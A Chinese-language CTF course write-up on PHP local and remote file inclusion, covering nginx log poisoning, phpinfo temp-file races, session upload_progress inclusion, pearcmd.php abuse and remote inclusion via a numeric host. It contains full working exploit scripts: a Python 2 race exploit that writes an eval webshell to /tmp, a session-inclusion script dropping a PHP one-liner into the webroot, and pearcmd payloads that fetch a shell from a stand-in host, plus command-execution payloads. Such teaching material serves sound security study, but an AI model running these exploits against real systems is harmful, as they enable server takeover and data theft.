ctfshow私教课第五节

文件包含

include “/var/www/html/flag.php”;

  1. 文件名可控
    $file=$_GET[‘file’];
    include $file.”.php”;
    对于我们提交的任何东西后面加一个.php,使用php伪协议,可以使用data协议,ctfshow私教课web35使用的是?file=data://text/plain/,拿到的flag
  1. 文件后缀可控
    $file=$_GET[‘file’];
    include “/var/www/html/“.$file; //不能使用伪协议了,伪协议需要前面的固定格式
    这时候只能使用虚拟目录或者其他的目录跳转
    例如 /var/www/html../../../../../../../flag.php,就可以包含进去了

高级文件包含

1.nginx日志文件包含

nginx可以认为它是http的一个服务器软件,提供了http服务,默认监听80端口

http://localhost/123.php?a=b
nginx会首先判断123.php是否是.php后缀,如果是,它就会进行一次转发,转发到本地的127.0.0.1的9000端口

9000端口,是被另一个服务器软件监听,它提供解析php文件的服务,我们把这个软件,叫做php-fpm

专门解析php后缀的文件,执行里面的代码,将执行结果交回nginx,再由nginx返回给http的客户端,这个客户端就是浏览器

如果解析出来是http://localhost/123.jpg
123.jpg 非php后缀,那么由自己处理,nginx会找到web目录,读取123.jpg的内容并返回给浏览器,并同时告诉浏览器,我返回的文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来
这也就是 动静态分离

输入图片说明

对于nginx我们除了客户端的一个信息,我们什么也控制不了,就像图中我们修改User-Agent为CTFshow,再上传时,日志的客户端信息就变成了CTFshow

即使我们访问一个不存在的文件,日志中也是能看到的,并且携带着我们修改之后的服务端信息输入图片说明输入图片说明

我们尝试传入phpinfo()看看,在客户端信息和访问文件上都写上

输入图片说明

输入图片说明

这里通过访问文件弄上去的已经自动经过url编码了,已经无法被认作php代码执行了在这里,但是我们通过修改服务器信息上传上去的php代码仍旧保持原来的模样,可以被认为是php代码执行

ctfshow私教课web37 (nginx日志)

1
2
3
4
5
<?php   
error_reporting(0);
highlight_file(__FILE__);
include "file:///var/www/html/".$_GET['file'];
?>

输入图片说明

在nginx下,日志的默认存储路径是/var/log/nginx/access.log,我们访问这个路径就能看到日志
我们可以利用这个来看到我们通过修改服务器信息上传的恶意php代码的执行结果
注意修改后的服务器信息,也就是php恶意代码需要一次性写对,不然会破坏环境,会出现致命错误,后面的东西就没办法执行下去了,就只能重新打开环境了

此题首先上传修改后的服务器信息也就是php的一句话木马,借助一句话木马进行我们的操作

?file=../../../../的作用是上溯,这样我们就能看到我们已知的任意路径内的内容
?file=../../../../../var/log/nginx/access.log根据nginx的默认路径读取日志
1=system(“tac /f1ag”);借助一句话木马执行我们的系统命令拿到flag

日志包含的前提条件

  1. 有文件名可控的文件包含点

像前面后缀强制添加.php的就没办法使用日志包含

  1. 有可以访问到的日志路径 默认nainx的日志路径为 /var/log/nginx/access.log
    如果路径被改了,就无法使用日志包含了

2. 临时文件包含

  • 这个方法跑出来需要时间很长,而且跑不跑出来都是看运气

在之前遇到的,在linux系统,如果我们强制上传文件的话,文件会被存储在默认路径下
默认路径为/tmp/php??????

文件包含,不能包含/???/????????[@-[]

原因是文件包含不支持通配符

我们要得到,明确的临时目录下php开头的随机文件的文件名字全称,才能够使用文件包含

默认情况下,生命周期与php脚本一致,在脚本运行过程中,存在,脚本运行结束后,临时文件会被自动删除

突破点

  1. 在php脚本运行过程中,包含临时文件
  2. 在脚本运行过程中,得到完整的临时文件包含

满足这两个条件,我们才能使用这个临时文件包含

php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的,每4096个字符发送一次。
我们可以不断地上传,使得字符数超过4096个字符,让它分多次进行发送,从而减慢它的发送速度,是使得在结束之前,我们能够找到临时文件的地址,然后立刻进行文件包含

假设我们能够访问phpinfo的结果 FILES就会存在tmp_name临时文件名字,读取后可以成功文件包含

专业术语叫 phpinfo_lfi

ctfshow私教课web38 (临时文件包含)

1
2
3
4
5
6
<?php   
error_reporting(0);
highlight_file(__FILE__);
//phpinfo.php
include "file:///var/www/html/".$_GET['file'];
?>

附上攻击脚本
这个脚本比较老,需要使用python27运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()

输入图片说明

首先不用管这个脚本出现的错误,使用python27的powershell执行,首先输入1处的内容,再输入2处的内容,注意删除http://和8080之前的/才可以执行,当出现Getting initial offset…的时候代表执行成功,接下来需要漫长的等待

3.php的session文件包含,upload_progress文件包含

强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS可以往服务器的session文件内写入我们的指定内容,然后在脚本运行过程中,包含,包含后可以执行里面的php代码

首先我们需要知道session文件包含的原理,当我们再cookie传入PHPSESSID=???的时候,在临时文件中会生成一个sess_???的文件,我们通过上传到这个文件危险的php代码,在调用这个文件的时候,就执行了我们php恶意代码,从而拿到flag

下面是session文件包含的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import threading
session = requests.session()
sess="ctfshow"
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'
url = "http://17bd4e8c-5837-44b7-b73c-ada8a17f9726.challenges.ctfer.com:8080/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}
file= {
'file':'ctfshow'
}
cookies={
'PHPSESSID':sess
}
def write():
while True:
r = session.post(url=url,data=data,files=file,cookies=cookies)
def read():
while True:
r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
if "success" in r.text:
print("shell 地址为:"+url+"/1.php")
exit()
threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:
t.start()

ctfshow私教课web39(session文件包含)

1
2
3
4
5
<?php   
error_reporting(0);
highlight_file(__FILE__);
include "file:///var/www/html/".$_GET['file'];
?>

首先我们首先要传入cookie为PHPSESSID=ctfshow,然后复制网址到脚本中,执行脚本,拿到网址,使用post传参1=system(“tac /*”);拿到flag

输入图片说明

输入图片说明

输入图片说明

我们就可以拿到flag了

4.pear文件包含

条件1 有文件的包含点
条件2 开启了pear扩展
条件3 配置文件中register_argc_argv 设置为On,而默认为Off

满足上述三个条件才可以进行pear的rce

PEAR扩展
默认安装位置是 /user/local/lib/php/

利用Pear扩展进行文件包含

方法一 远程文件下载

?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/1.php

ctfshow私教课web40(pear文件包含1.远程文件下载)

1
2
3
4
5
6
7
8
9
<?php      
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-03-20 11:01:02 # @Last Modified by: h1xa # @Last Modified time: 2022-03-20 22:18:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){ include $file;
}else{ show_source(__FILE__);
if(isset($_GET['info'])){ phpinfo();
}
}

输入图片说明

远程下载木马到指定目录,http://your-shell/1.php的源码内容为一句话木马,ctfshow处的内容可以改为任意内容,然后访问第一个圈处的网址,使用POST传参,拿到我们的flag。1=system(“tac /*”);

输入图片说明

方法二 生成配置文件,配置项传入我们恶意的php代码的形式

配置型的形式 a=b
username=root
man_dir=

文件名可以设置为ctfshow.php

这个需要使用BP进行,不然会被编码就无法进行了
?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=+-s+

生成后,再使用火狐访问?file=/tmp/ctf.php就可以执行我们的一句话木马了

方法三 写配置文件方式

也是基于pearcmd.php的

?file=/usr/local/lib/php/pearcmd.php&aaa+config-create+/var/www/html/+3.php

使用BP进行抓包发送,访问3.php,再反弹shell输入图片说明输入图片说明

不能直接使用Hacber进行,不然会被编码,就无法执行了

5.远程文件包含

?file=http://731572802/1
通过域名转数字的形式,可以不用.来构造远程文件地址

那串数字是your-shell.com转ip后再由ip转整数后得到的,your-shell.com/1页面内容是一句话木马
包含这个页面我们就相当于写入了一个一句话木马,我们通过这个木马就可以执行我们的系统命令了

ctfshow私教课web41

1
2
3
4
5
6
7
8
<?php   
error_reporting(0);
highlight_file(__FILE__);
$file = $_GET['file'];
if(preg_match("/\.|php|data/i",$file)){ die("hacker");
}
include $file;
?>

输入图片说明

远程文件包含拿到flag